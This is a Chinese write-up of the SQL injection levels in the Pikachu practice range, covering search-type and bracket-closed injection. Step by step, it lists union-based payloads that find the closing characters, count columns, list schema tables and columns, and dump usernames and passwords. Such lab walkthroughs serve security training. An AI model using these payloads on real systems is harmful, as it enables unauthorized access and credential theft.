搜索型注入
由题可知是搜索型注入(get),可直接在url中的name参数后进行修改,本质还是字符型注入,只是闭合不一样。
输入:
?name=%27&submit=查询 %27 == ' get 报错
根据报错信息判断闭合是**%’**
之后过程和字符型一样
name=' or 1=1-- q 可查询出所有账户数据
判断字段数
' order by 3 -- q
' order by 4 -- q 报错,字段数为3
' union select 1,2,3 -- q 判断回显点位置
'union select user(),database(),3 -- q
可知用户名为root@localhost,数据库名为pikachu
' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu' -- q
查询数据库pikachu下的所有表名httpinfo,member,message,users,xssblind
' union select 1, group_concat(column_name),3 from information_schema.columns where table_name='users' -- q
查询user下所有表明 user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,level,id,username,password
' union select 1,group_concat(username),group_concat(password) from users -- q
查询字段username和password的内容
xx型注入
本质还是字符型注入,只是闭合不一样。
?name=%27&submit=查询 %27 == ' get 根据报错信息判断闭合是 ')
之后过程和字符型一样
') or 1=1-- q 可查询出所有账户数据
判断字段数
') order by 2 -- q
') order by 3 -- q 报错,字段数为2
') union select 1,2 -- q 判断回显点位置
')union select user(),database() -- q
可知用户名为root@localhost,数据库名为pikachu
') union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' -- q
查询数据库pikachu下的所有表名httpinfo,member,message,users,xssblind
') union select 1, group_concat(column_name) from information_schema.columns where table_name='users' -- q
查询user下所有表明 user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,level,id,username,password
') union select group_concat(username),group_concat(password) from users -- q
查询字段username和password的内容
参考链接:
无垠安全:https://www.wuyini.cn/952.html
Pikachu靶场通关之SQL注入 - FreeBuf网络安全行业门户:https://www.freebuf.com/articles/web/254079.html
GitHub Discussions